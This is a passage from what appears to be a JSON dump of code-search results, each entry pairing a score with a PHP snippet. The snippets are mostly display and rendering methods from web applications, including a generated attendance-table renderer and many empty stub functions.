ew_StrToFloat($this->jk_count_as->CurrentValue);\n\n\t\t// Call Row_Rendering event\n\t\t$this->Row_Rendering();\n\n\t\t// Common render codes for all row types\n\t\t// pegawai_id\n\t\t// tgl_shift\n\t\t// khusus_lembur\n\t\t// khusus_extra\n\t\t// temp_id_auto\n\t\t// jdw_kerja_m_id\n\t\t// jk_id\n\t\t// jns_dok\n\t\t// izin_jenis_id\n\t\t// cuti_n_id\n\t\t// libur_umum\n\t\t// libur_rutin\n\t\t// jk_ot\n\t\t// scan_in\n\t\t// att_id_in\n\t\t// late_permission\n\t\t// late_minute\n\t\t// late\n\t\t// break_out\n\t\t// att_id_break1\n\t\t// break_in\n\t\t// att_id_break2\n\t\t// break_minute\n\t\t// break\n\t\t// break_ot_minute\n\t\t// break_ot\n\t\t// early_permission\n\t\t// early_minute\n\t\t// early\n\t\t// scan_out\n\t\t// att_id_out\n\t\t// durasi_minute\n\t\t// durasi\n\t\t// durasi_eot_minute\n\t\t// jk_count_as\n\t\t// status_jk\n\t\t// keterangan\n\n\t\tif ($this->RowType == EW_ROWTYPE_VIEW) { // View row\n\n\t\t// pegawai_id\n\t\t$this->pegawai_id->ViewValue = $this->pegawai_id->CurrentValue;\n\t\t$this->pegawai_id->ViewCustomAttributes = \"\";\n\n\t\t// tgl_shift\n\t\t$this->tgl_shift->ViewValue = $this->tgl_shift->CurrentValue;\n\t\t$this->tgl_shift->ViewValue = ew_FormatDateTime($this->tgl_shift->ViewValue, 0);\n\t\t$this->tgl_shift->ViewCustomAttributes = \"\";\n\n\t\t// khusus_lembur\n\t\t$this->khusus_lembur->ViewValue = $this->khusus_lembur->CurrentValue;\n\t\t$this->khusus_lembur->ViewCustomAttributes = \"\";\n\n\t\t// khusus_extra\n\t\t$this->khusus_extra->ViewValue = $this->khusus_extra->CurrentValue;\n\t\t$this->khusus_extra->ViewCustomAttributes = \"\";\n\n\t\t// temp_id_auto\n\t\t$this->temp_id_auto->ViewValue = $this->temp_id_auto->CurrentValue;\n\t\t$this->temp_id_auto->ViewCustomAttributes = \"\";\n\n\t\t// jdw_kerja_m_id\n\t\t$this->jdw_kerja_m_id->ViewValue = $this->jdw_kerja_m_id->CurrentValue;\n\t\t$this->jdw_kerja_m_id->ViewCustomAttributes = \"\";\n\n\t\t// jk_id\n\t\t$this->jk_id->ViewValue = $this->jk_id->CurrentValue;\n\t\t$this->jk_id->ViewCustomAttributes = \"\";\n\n\t\t// jns_dok\n\t\t$this->jns_dok->ViewValue = $this->jns_dok->CurrentValue;\n\t\t$this->jns_dok->ViewCustomAttributes = \"\";\n\n\t\t// izin_jenis_id\n\t\t$this->izin_jenis_id->ViewValue = $this->izin_jenis_id->CurrentValue;\n\t\t$this->izin_jenis_id->ViewCustomAttributes = \"\";\n\n\t\t// cuti_n_id\n\t\t$this->cuti_n_id->ViewValue = $this->cuti_n_id->CurrentValue;\n\t\t$this->cuti_n_id->ViewCustomAttributes = \"\";\n\n\t\t// libur_umum\n\t\t$this->libur_umum->ViewValue = $this->libur_umum->CurrentValue;\n\t\t$this->libur_umum->ViewCustomAttributes = \"\";\n\n\t\t// libur_rutin\n\t\t$this->libur_rutin->ViewValue = $this->libur_rutin->CurrentValue;\n\t\t$this->libur_rutin->ViewCustomAttributes = \"\";\n\n\t\t// jk_ot\n\t\t$this->jk_ot->ViewValue = $this->jk_ot->CurrentValue;\n\t\t$this->jk_ot->ViewCustomAttributes = \"\";\n\n\t\t// scan_in\n\t\t$this->scan_in->ViewValue = $this->scan_in->CurrentValue;\n\t\t$this->scan_in->ViewValue = ew_FormatDateTime($this->scan_in->ViewValue, 0);\n\t\t$this->scan_in->ViewCustomAttributes = \"\";\n\n\t\t// att_id_in\n\t\t$this->att_id_in->ViewValue = $this->att_id_in->CurrentValue;\n\t\t$this->att_id_in->ViewCustomAttributes = \"\";\n\n\t\t// late_permission\n\t\t$this->late_permission->ViewValue = $this->late_permission->CurrentValue;\n\t\t$this->late_permission->ViewCustomAttributes = \"\";\n\n\t\t// late_minute\n\t\t$this->late_minute->ViewValue = $this->late_minute->CurrentValue;\n\t\t$this->late_minute->ViewCustomAttributes = \"\";\n\n\t\t// late\n\t\t$this->late->ViewValue = $this->late->CurrentValue;\n\t\t$this->late->ViewCustomAttributes = \"\";\n\n\t\t// break_out\n\t\t$this->break_out->ViewValue = $this->break_out->CurrentValue;\n\t\t$this->break_out->ViewValue = ew_FormatDateTime($this->break_out->ViewValue, 0);\n\t\t$this->break_out->ViewCustomAttributes = \"\";\n\n\t\t// att_id_break1\n\t\t$this->att_id_break1->ViewValue = $this->att_id_break1->CurrentValue;\n\t\t$this->att_id_break1->ViewCustomAttributes = \"\";\n\n\t\t// break_in\n\t\t$this->break_in->ViewValue = $this->break_in->CurrentValue;\n\t\t$this->break_in->ViewValue = ew_FormatDateTime($this->break_in->ViewValue, 0);\n\t\t$this->break_in->ViewCustomAttributes = \"\";\n\n\t\t// att_id_break2\n\t\t$this->att_id_break2->ViewValue = $this->att_id_break2->CurrentValue;\n\t\t$this->att_id_break2->ViewCustomAttributes = \"\";\n\n\t\t// break_minute\n\t\t$this->break_minute->ViewValue = $this->break_minute->CurrentValue;\n\t\t$this->break_minute->ViewCustomAttributes = \"\";\n\n\t\t// break\n\t\t$this->break->ViewValue = $this->break->CurrentValue;\n\t\t$this->break->ViewCustomAttributes = \"\";\n\n\t\t// break_ot_minute\n\t\t$this->break_ot_minute->ViewValue = $this->break_ot_minute->CurrentValue;\n\t\t$this->break_ot_minute->ViewCustomAttributes = \"\";\n\n\t\t// break_ot\n\t\t$this->break_ot->ViewValue = $this->break_ot->CurrentValue;\n\t\t$this->break_ot->ViewCustomAttributes = \"\";\n\n\t\t// early_permission\n\t\t$this->early_permission->ViewValue = $this->early_permission->CurrentValue;\n\t\t$this->early_permission->ViewCustomAttributes = \"\";\n\n\t\t// early_minute\n\t\t$this->early_minute->ViewValue = $this->early_minute->CurrentValue;\n\t\t$this->early_minute->ViewCustomAttributes = \"\";\n\n\t\t// early\n\t\t$this->early->ViewValue = $this->early->CurrentValue;\n\t\t$this->early->ViewCustomAttributes = \"\";\n\n\t\t// scan_out\n\t\t$this->scan_out->ViewValue = $this->scan_out->CurrentValue;\n\t\t$this->scan_out->ViewValue = ew_FormatDateTime($this->scan_out->ViewValue, 0);\n\t\t$this->scan_out->ViewCustomAttributes = \"\";\n\n\t\t// att_id_out\n\t\t$this->att_id_out->ViewValue = $this->att_id_out->CurrentValue;\n\t\t$this->att_id_out->ViewCustomAttributes = \"\";\n\n\t\t// durasi_minute\n\t\t$this->durasi_minute->ViewValue = $this->durasi_minute->CurrentValue;\n\t\t$this->durasi_minute->ViewCustomAttributes = \"\";\n\n\t\t// durasi\n\t\t$this->durasi->ViewValue = $this->durasi->CurrentValue;\n\t\t$this->durasi->ViewCustomAttributes = \"\";\n\n\t\t// durasi_eot_minute\n\t\t$this->durasi_eot_minute->ViewValue = $this->durasi_eot_minute->CurrentValue;\n\t\t$this->durasi_eot_minute->ViewCustomAttributes = \"\";\n\n\t\t// jk_count_as\n\t\t$this->jk_count_as->ViewValue = $this->jk_count_as->CurrentValue;\n\t\t$this->jk_count_as->ViewCustomAttributes = \"\";\n\n\t\t// status_jk\n\t\t$this->status_jk->ViewValue = $this->status_jk->CurrentValue;\n\t\t$this->status_jk->ViewCustomAttributes = \"\";\n\n\t\t\t// pegawai_id\n\t\t\t$this->pegawai_id->LinkCustomAttributes = \"\";\n\t\t\t$this->pegawai_id->HrefValue = \"\";\n\t\t\t$this->pegawai_id->TooltipValue = \"\";\n\n\t\t\t// tgl_shift\n\t\t\t$this->tgl_shift->LinkCustomAttributes = \"\";\n\t\t\t$this->tgl_shift->HrefValue = \"\";\n\t\t\t$this->tgl_shift->TooltipValue = \"\";\n\n\t\t\t// khusus_lembur\n\t\t\t$this->khusus_lembur->LinkCustomAttributes = \"\";\n\t\t\t$this->khusus_lembur->HrefValue = \"\";\n\t\t\t$this->khusus_lembur->TooltipValue = \"\";\n\n\t\t\t// khusus_extra\n\t\t\t$this->khusus_extra->LinkCustomAttributes = \"\";\n\t\t\t$this->khusus_extra->HrefValue = \"\";\n\t\t\t$this->khusus_extra->TooltipValue = \"\";\n\n\t\t\t// temp_id_auto\n\t\t\t$this->temp_id_auto->LinkCustomAttributes = \"\";\n\t\t\t$this->temp_id_auto->HrefValue = \"\";\n\t\t\t$this->temp_id_auto->TooltipValue = \"\";\n\n\t\t\t// jdw_kerja_m_id\n\t\t\t$this->jdw_kerja_m_id->LinkCustomAttributes = \"\";\n\t\t\t$this->jdw_kerja_m_id->HrefValue = \"\";\n\t\t\t$this->jdw_kerja_m_id->TooltipValue = \"\";\n\n\t\t\t// jk_id\n\t\t\t$this->jk_id->LinkCustomAttributes = \"\";\n\t\t\t$this->jk_id->HrefValue = \"\";\n\t\t\t$this->jk_id->TooltipValue = \"\";\n\n\t\t\t// jns_dok\n\t\t\t$this->jns_dok->LinkCustomAttributes = \"\";\n\t\t\t$this->jns_dok->HrefValue = \"\";\n\t\t\t$this->jns_dok->TooltipValue = \"\";\n\n\t\t\t// izin_jenis_id\n\t\t\t$this->izin_jenis_id->LinkCustomAttributes = \"\";\n\t\t\t$this->izin_jenis_id->HrefValue = \"\";\n\t\t\t$this->izin_jenis_id->TooltipValue = \"\";\n\n\t\t\t// cuti_n_id\n\t\t\t$this->cuti_n_id->LinkCustomAttributes = \"\";\n\t\t\t$this->cuti_n_id->HrefValue = \"\";\n\t\t\t$this->cuti_n_id->TooltipValue = \"\";\n\n\t\t\t// libur_umum\n\t\t\t$this->libur_umum->LinkCustomAttributes = \"\";\n\t\t\t$this->libur_umum->HrefValue = \"\";\n\t\t\t$this->libur_umum->TooltipValue = \"\";\n\n\t\t\t// libur_rutin\n\t\t\t$this->libur_rutin->LinkCustomAttributes = \"\";\n\t\t\t$this->libur_rutin->HrefValue = \"\";\n\t\t\t$this->libur_rutin->TooltipValue = \"\";\n\n\t\t\t// jk_ot\n\t\t\t$this->jk_ot->LinkCustomAttributes = \"\";\n\t\t\t$this->jk_ot->HrefValue = \"\";\n\t\t\t$this->jk_ot->TooltipValue = \"\";\n\n\t\t\t// scan_in\n\t\t\t$this->scan_in->LinkCustomAttributes = \"\";\n\t\t\t$this->scan_in->HrefValue = \"\";\n\t\t\t$this->scan_in->TooltipValue = \"\";\n\n\t\t\t// att_id_in\n\t\t\t$this->att_id_in->LinkCustomAttributes = \"\";\n\t\t\t$this->att_id_in->HrefValue = \"\";\n\t\t\t$this->att_id_in->TooltipValue = \"\";\n\n\t\t\t// late_permission\n\t\t\t$this->late_permission->LinkCustomAttributes = \"\";\n\t\t\t$this->late_permission->HrefValue = \"\";\n\t\t\t$this->late_permission->TooltipValue = \"\";\n\n\t\t\t// late_minute\n\t\t\t$this->late_minute->LinkCustomAttributes = \"\";\n\t\t\t$this->late_minute->HrefValue = \"\";\n\t\t\t$this->late_minute->TooltipValue = \"\";\n\n\t\t\t// late\n\t\t\t$this->late->LinkCustomAttributes = \"\";\n\t\t\t$this->late->HrefValue = \"\";\n\t\t\t$this->late->TooltipValue = \"\";\n\n\t\t\t// break_out\n\t\t\t$this->break_out->LinkCustomAttributes = \"\";\n\t\t\t$this->break_out->HrefValue = \"\";\n\t\t\t$this->break_out->TooltipValue = \"\";\n\n\t\t\t// att_id_break1\n\t\t\t$this->att_id_break1->LinkCustomAttributes = \"\";\n\t\t\t$this->att_id_break1->HrefValue = \"\";\n\t\t\t$this->att_id_break1->TooltipValue = \"\";\n\n\t\t\t// break_in\n\t\t\t$this->break_in->LinkCustomAttributes = \"\";\n\t\t\t$this->break_in->HrefValue = \"\";\n\t\t\t$this->break_in->TooltipValue = \"\";\n\n\t\t\t// att_id_break2\n\t\t\t$this->att_id_break2->LinkCustomAttributes = \"\";\n\t\t\t$this->att_id_break2->HrefValue = \"\";\n\t\t\t$this->att_id_break2->TooltipValue = \"\";\n\n\t\t\t// break_minute\n\t\t\t$this->break_minute->LinkCustomAttributes = \"\";\n\t\t\t$this->break_minute->HrefValue = \"\";\n\t\t\t$this->break_minute->TooltipValue = \"\";\n\n\t\t\t// break\n\t\t\t$this->break->LinkCustomAttributes = \"\";\n\t\t\t$this->break->HrefValue = \"\";\n\t\t\t$this->break->TooltipValue = \"\";\n\n\t\t\t// break_ot_minute\n\t\t\t$this->break_ot_minute->LinkCustomAttributes = \"\";\n\t\t\t$this->break_ot_minute->HrefValue = \"\";\n\t\t\t$this->break_ot_minute->TooltipValue = \"\";\n\n\t\t\t// break_ot\n\t\t\t$this->break_ot->LinkCustomAttributes = \"\";\n\t\t\t$this->break_ot->HrefValue = \"\";\n\t\t\t$this->break_ot->TooltipValue = \"\";\n\n\t\t\t// early_permission\n\t\t\t$this->early_permission->LinkCustomAttributes = \"\";\n\t\t\t$this->early_permission->HrefValue = \"\";\n\t\t\t$this->early_permission->TooltipValue = \"\";\n\n\t\t\t// early_minute\n\t\t\t$this->early_minute->LinkCustomAttributes = \"\";\n\t\t\t$this->early_minute->HrefValue = \"\";\n\t\t\t$this->early_minute->TooltipValue = \"\";\n\n\t\t\t// early\n\t\t\t$this->early->LinkCustomAttributes = \"\";\n\t\t\t$this->early->HrefValue = \"\";\n\t\t\t$this->early->TooltipValue = \"\";\n\n\t\t\t// scan_out\n\t\t\t$this->scan_out->LinkCustomAttributes = \"\";\n\t\t\t$this->scan_out->HrefValue = \"\";\n\t\t\t$this->scan_out->TooltipValue = \"\";\n\n\t\t\t// att_id_out\n\t\t\t$this->att_id_out->LinkCustomAttributes = \"\";\n\t\t\t$this->att_id_out->HrefValue = \"\";\n\t\t\t$this->att_id_out->TooltipValue = \"\";\n\n\t\t\t// durasi_minute\n\t\t\t$this->durasi_minute->LinkCustomAttributes = \"\";\n\t\t\t$this->durasi_minute->HrefValue = \"\";\n\t\t\t$this->durasi_minute->TooltipValue = \"\";\n\n\t\t\t// durasi\n\t\t\t$this->durasi->LinkCustomAttributes = \"\";\n\t\t\t$this->durasi->HrefValue = \"\";\n\t\t\t$this->durasi->TooltipValue = \"\";\n\n\t\t\t// durasi_eot_minute\n\t\t\t$this->durasi_eot_minute->LinkCustomAttributes = \"\";\n\t\t\t$this->durasi_eot_minute->HrefValue = \"\";\n\t\t\t$this->durasi_eot_minute->TooltipValue = \"\";\n\n\t\t\t// jk_count_as\n\t\t\t$this->jk_count_as->LinkCustomAttributes = \"\";\n\t\t\t$this->jk_count_as->HrefValue = \"\";\n\t\t\t$this->jk_count_as->TooltipValue = \"\";\n\n\t\t\t// status_jk\n\t\t\t$this->status_jk->LinkCustomAttributes = \"\";\n\t\t\t$this->status_jk->HrefValue = \"\";\n\t\t\t$this->status_jk->TooltipValue = \"\";\n\t\t}\n\n\t\t// Call Row Rendered event\n\t\tif ($this->RowType <> EW_ROWTYPE_AGGREGATEINIT)\n\t\t\t$this->Row_Rendered();\n\t}", "title": "" }, { "docid": "532a5db61e0d2a567bc35480992be20c", "score": "0.57481056", "text": "public function getFieldValDataProvider() {}", "title": "" }, { "docid": "4d8884a755efba02f8d4f1e6592afd1f", "score": "0.5746462", "text": "protected function getViewData()\r\n {\r\n }", "title": "" }, { "docid": "8aba448740aca9e848caf67505b6d08f", "score": "0.5745803", "text": "function display()\n {\n if(!empty($this->parameters['use_scientific']) and $this->parameters['use_scientific']==true)\n {\n require($this->getWidgetPath().'tmpl/scientific.php');\n }\n else\n {\n require($this->getWidgetPath().'tmpl/default.php');\n }\n }", "title": "" }, { "docid": "1b61fb9e3168025bbe5748871121358d", "score": "0.5732786", "text": "protected function calculateDisplayRange() {}", "title": "" }, { "docid": "9a6daca9f986050c6bb5a48d44612625", "score": "0.5724566", "text": "protected function getViewData()\n {\n }", "title": "" }, { "docid": "683729ba620ccfb808b0f281e9cd2992", "score": "0.57103634", "text": "private function render()\r\n {\r\n \r\n }", "title": "" }, { "docid": "683729ba620ccfb808b0f281e9cd2992", "score": "0.57103634", "text": "private function render()\r\n {\r\n \r\n }", "title": "" }, { "docid": "d3222af637082a4266c49b7cd7230b09", "score": "0.5706766", "text": "public function pre_display()\n {\n global $smarty;\n\n if (!$this->page_properties['title']) {\n $this->page_properties['title'] = \"\";\n foreach ($this->spath as $v) {\n if ($this->page_properties['title'] != \"\") {\n $this->page_properties['title'] = strip_tags($v['dname']) . \" - \" . $this->page_properties['title'];\n } else {\n $this->page_properties['title'] = strip_tags($v['dname']);\n }\n }\n }\n\n $this->page_property(\"year\", date(\"Y\", time()));\n\n $smarty->assign(\"enum\", $this->enum);\n\n $fn = $this->common_module('config/predisplay.php');\n if ($fn) {\n require_once $fn;\n }\n\n header(\"Referrer-Policy: unsafe-url\");\n\n $smarty->assign(\"spath\", $this->spath);\n\n $smarty->assign('page', $this->page_properties);\n $smarty->assign('lang', $this->lang);\n\n $html_lang = $this->lang;\n\n if ($html_lang == 'nn') {\n $html_lang = 'ru';\n }\n $smarty->assign(\"html_lang\", $html_lang);\n\n $smarty->assign(\"df_format\", EMPS_DT_FORMAT);\n\n $smarty->assign(\"current_host\", $_SERVER['HTTP_HOST']);\n $smarty->assign(\"current_uri\", $_SERVER['REQUEST_URI']);\n\n/* $clst = get_defined_constants(true);\n foreach ($clst['user'] as $n => $v) {\n if (mb_substr($n, 0, 3) == 'DT_') {\n foreach ($clst['user'] as $m => $w) {\n if (mb_substr($m, 0, 3) == 'DT_') {\n if ($m != $n && $v == $w) {\n echo \"ERROR! DUPLICATE DATA TYPE {$n} / {$m} = {$v} / {$w}\\r\\n\";\n }\n }\n }\n }\n }*/\n\n }", "title": "" }, { "docid": "1519efac64de7869f0d38a64c00c7570", "score": "0.57025206", "text": "public function getRenderData()\n {\n $this->getConfig()->add( new ConfigValue(\"vis_titler\", \"true\") );\n $this->getConfig()->add( new ConfigValue(\"vis_notatfelt_jury\", \"true\") );\n $this->getConfig()->add( new ConfigValue(\"notatfelt_visning\", \"stor\") );\n $this->getConfig()->add( new ConfigValue(\"vis_vurderingsfelt\", \"true\") );\n \n if( empty($this->getConfig()->get('vis_deltakere_innenfor') ) ) {\n $this->getConfig()->add( new ConfigValue('vis_deltakere_innenfor', '13-20'));\n }\n return parent::getRenderData();\n }", "title": "" }, { "docid": "2f8e689d9d624ebede0191b8122d9b76", "score": "0.5695443", "text": "private function _default()\n\t{\t\t\n\t\t$this->datasource = null;\t\t\n\t\t$this->displaytext = null;\n\t\t$this->valuetext = null;\n\t}", "title": "" }, { "docid": "d82b590f70d168736e99264606f9e6fa", "score": "0.5695154", "text": "public function get_display();", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56832325", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56817645", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56817645", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56817645", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56817645", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56817645", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56800973", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56800973", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56799114", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56799114", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56799114", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56799114", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56799114", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "bec294f027331ca15dd3abfff8097f59", "score": "0.56799114", "text": "public function get_data()\n {\n }", "title": "" }, { "docid": "3e1209f839b9caa805045de6b3145538", "score": "0.56741774", "text": "function\n\tAmnhStandardDisplay()\n\t{\n\t\t$this->BaseStandardDisplay();\n\t\t$this->DisplayImage = 1;\n\t\t//$this->HeaderField = \"DetScientificNameLocal:1\";\n\n\t\t$order = new Field;\n\t\t$order->ColName = 'IdeOrderLocal_tab';\n\t\t$family = new Field;\n\t\t$family->ColName = 'IdeFamilyLocal_tab';\n\t\t$subfamily = new Field;\n\t\t$subfamily->ColName = 'IdeSubfamilyLocal_tab';\n\t\t$genus = new Field;\n\t\t$genus->ColName = 'IdeGenusLocal_tab';\n\t\t$species = new Field;\n\t\t$species->ColName = 'IdeSpeciesLocal_tab';\n\t\t$subspecies = new Field;\n\t\t$subspecies->ColName = 'IdeSubspeciesLocal_tab';\n\n\t\t$taxTable = new Table;\n\t\t$taxTable->Name = \"TAX\";\n\t\t$taxTable->Columns = array(\t\n\t\t\t\t\t$order,\n\t\t\t\t\t$family,\n\t\t\t\t\t$subfamily,\n\t\t\t\t\t$genus,\n\t\t\t\t\t$species,\n\t\t\t\t\t$subspecies,\n\t\t\t\t\t);\n\n\t\t$statusTaxon = new Field;\n\t\t$statusTaxon->ColName = 'IdeCitationTaxonRef_tab';\n\t\t$statusType = new Field;\n\t\t$statusType->ColName = 'IdeCitationTypeStatus_tab';\n\n/*\n\t\t$collectorLink = new Field;\n\t\t$collectorLink->ColName = 'BioCollectorsRef_tab->eparties->SummaryData';\n\t\t$collectorLink->LinksTo = $GLOBALS['DEFAULT_PARTY_DISPLAY_PAGE'];\n\n\t\t$collectorTable = new Table;\n\t\t$collectorTable->Name = \"COLLECTORS\";\n\t\t$collectorTable->Columns = array ($collectorLink);\n*/\n\n\t\t$statusTable = new Table;\n\t\t$statusTable->Name = \"STATUS\";\n\t\t$statusTable->Columns = array (\n\t\t\t\t\t$statusTaxon,\n\t\t\t\t\t$statusType,\n\t\t\t\t\t);\n\n\t\t$prepType = new BackReferenceField;\n\t\t$prepType->RefDatabase = \"ecatalogue\";\n\t\t$prepType->RefField = 'PreObjectRef';\n\t\t$prepType->ColName = 'PrePrepType';\n\t\t$prepPart = new BackReferenceField;\n\t\t$prepPart->RefDatabase = \"ecatalogue\";\n\t\t$prepPart->RefField = 'PreObjectRef';\n\t\t$prepPart->ColName = 'PreKindOfObject';\n\t\t$prepDesc = new BackReferenceField;\n\t\t$prepDesc->RefDatabase = \"ecatalogue\";\n\t\t$prepDesc->RefField = 'PreObjectRef';\n\t\t$prepDesc->ColName = 'PrePrepDescription';\n\n\t\t$prepTable = new Table;\n\t\t$prepTable->Name = \"PREP\";\n\t\t$prepTable->Columns = array (\n\t\t\t\t\t$prepType,\n\t\t\t\t\t$prepPart,\n\t\t\t\t\t$prepDesc,\n\t\t\t\t\t);\n\n\n\t\t$this->Fields = array(\t'SummaryData',\n\t\t\t\t\t'CatNumber',\n\t\t\t\t\t$taxTable,\n\t\t\t\t\t'BioSiteCountryLocal',\n\t\t\t\t\t'BioSiteStateLocal',\n\t\t\t\t\t'BioSiteCountyLocal',\n\t\t\t\t\t'BioSitePreciseLocalityLocal',\n\t\t\t\t\t'BioDateVisitedFrom',\n\t\t\t\t\t'BioCollectorsLocal_tab',\n\t\t\t\t\t//$collectorLink,\n\t\t\t\t\t//$collectorTable,\n\t\t\t\t\t'BioPrimaryCollNumber',\n\t\t\t\t\t'ZooSex:1',\n\t\t\t\t\t$statusTable,\n\t\t\t\t\t$prepTable,\n\t\t\t\t\t);\n\n\t\t$this->SuppressEmptyFields = 0;\n\t\t$this->BaseStandardDisplay();\n\t}", "title": "" }, { "docid": "703ddcb5cc7bf7ad9b10af1df6b5fd4f", "score": "0.56687903", "text": "protected function beforeRender() {}", "title": "" }, { "docid": "b7e4260afeb47c5a7685daf1f558518e", "score": "0.56505495", "text": "function form_init_data()\n {\n $this->set_element_value('Duplicate Event Numbers', WPST_ACTION_IGNORE) ;\n $this->set_element_value(sprintf('Map 0 to minimum Swim Team age (%s)',\n get_option(WPST_OPTION_MIN_AGE)), WPST_YES) ;\n $this->set_element_value(sprintf('Map 0 to maximum Swim Team age (%s)',\n get_option(WPST_OPTION_MAX_AGE)), WPST_YES) ;\n $this->set_hidden_element_value('_eventgroupid', $this->getEventGroupId()) ;\n }", "title": "" }, { "docid": "89ad7677f1ae5f8c4be8f08f375e19e4", "score": "0.5641582", "text": "function display()\r\n {\r\n printf( \"Make: %s<br>\", $this->make );\r\n printf( \"Model: %s<br>\", $this->model );\r\n printf( \"Color: %s<br>\", $this->color );\r\n printf( \"Year: %d<br>\", $this->year );\r\n }", "title": "" }, { "docid": "b9915f50cfefbbcd78a218c88f8bc76b", "score": "0.5629576", "text": "protected function after_render() {\n\n\t}", "title": "" }, { "docid": "d9067cdc515021695ec0342eabf5b923", "score": "0.56294686", "text": "public function values() {}", "title": "" }, { "docid": "d9067cdc515021695ec0342eabf5b923", "score": "0.56294686", "text": "public function values() {}", "title": "" }, { "docid": "d9067cdc515021695ec0342eabf5b923", "score": "0.56294686", "text": "public function values() {}", "title": "" }, { "docid": "4ccc15f73b16bc396525ef0a8b591aa4", "score": "0.5628288", "text": "protected function value()\n {\n }", "title": "" }, { "docid": "259422603cf18189f072ce08e817934f", "score": "0.56261283", "text": "protected function getValueToShow($value) \r\n\t{\r\n\t}", "title": "" }, { "docid": "a9af6445093776a270e7bbc44b02f6c3", "score": "0.5625602", "text": "function render($values) {\n \t//dsm($values); - Add a view and a field to see the dsm results\n $value = $this->get_value($values);\n\t\t//This will show on views previews output\n return '<div class=\"databasics-graph\" style=\"display:block; background: #000; height: 10px; width: ' . $value . '%;\">' . $value . '</div>';\n }", "title": "" }, { "docid": "8e9f7f1a07e1e38ea6b7fe32d99412e6", "score": "0.5625123", "text": "function SetUpDisplayRecs() {\r\n\t\tglobal $keu_laporan_keuangan;\r\n\t\t$sWrk = @$_GET[EW_TABLE_REC_PER_PAGE];\r\n\t\tif ($sWrk <> \"\") {\r\n\t\t\tif (is_numeric($sWrk)) {\r\n\t\t\t\t$this->DisplayRecs = intval($sWrk);\r\n\t\t\t} else {\r\n\t\t\t\tif (strtolower($sWrk) == \"all\") { // Display all records\r\n\t\t\t\t\t$this->DisplayRecs = -1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$this->DisplayRecs = 20; // Non-numeric, load default\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$keu_laporan_keuangan->setRecordsPerPage($this->DisplayRecs); // Save to Session\r\n\r\n\t\t\t// Reset start position\r\n\t\t\t$this->StartRec = 1;\r\n\t\t\t$keu_laporan_keuangan->setStartRecordNumber($this->StartRec);\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "76dd1d9bfa450d17df4d5c12eb9d3547", "score": "0.5623331", "text": "function render_fields(){\n\t\tforeach($this->fields as &$value)\n\t\t\techo $value->render(), PHP_EOL;\n\t}", "title": "" }, { "docid": "14cb50a11c39e151324298e5cf92af25", "score": "0.5613332", "text": "protected function _afterLoadData() { }", "title": "" }, { "docid": "07df113b6739593f97c3194d390123b0", "score": "0.5610694", "text": "protected function renderFieldInformation() : array {}", "title": "" }, { "docid": "07df113b6739593f97c3194d390123b0", "score": "0.5610694", "text": "protected function renderFieldInformation() : array {}", "title": "" }, { "docid": "856024b4aa24bf4bbb5a77f9794a778b", "score": "0.5596986", "text": "protected function beforeShow() {}", "title": "" }, { "docid": "f4195dc6870407d9d0358be85afd2b0f", "score": "0.559556", "text": "public function render()\n\t{\n// ini_set('display_errors', true);\n\t\tparent::render();\n\n\t\tsetlocale(LC_TIME, \"de_DE\");\n\t\t//Auslesen/definieren der Formular Werte\n\t\t$this->startdate = (oxConfig::getParameter(\"startdate\") != \"\")? oxConfig::getParameter(\"startdate\"): date(\"Y-m-\").\"01\";\n\t\t$this->enddate = (oxConfig::getParameter(\"enddate\") != \"\")? oxConfig::getParameter(\"enddate\"): date(\"Y-m-d\");\n\t\t$this->art = (oxConfig::getParameter(\"art\") != \"\")? oxConfig::getParameter(\"art\"): \"UmsatzDatum\";\n\t\t$this->chart = (oxConfig::getParameter(\"chart\") != \"\")? oxConfig::getParameter(\"chart\"): \"column\";\n\t\t$this->catfilter = 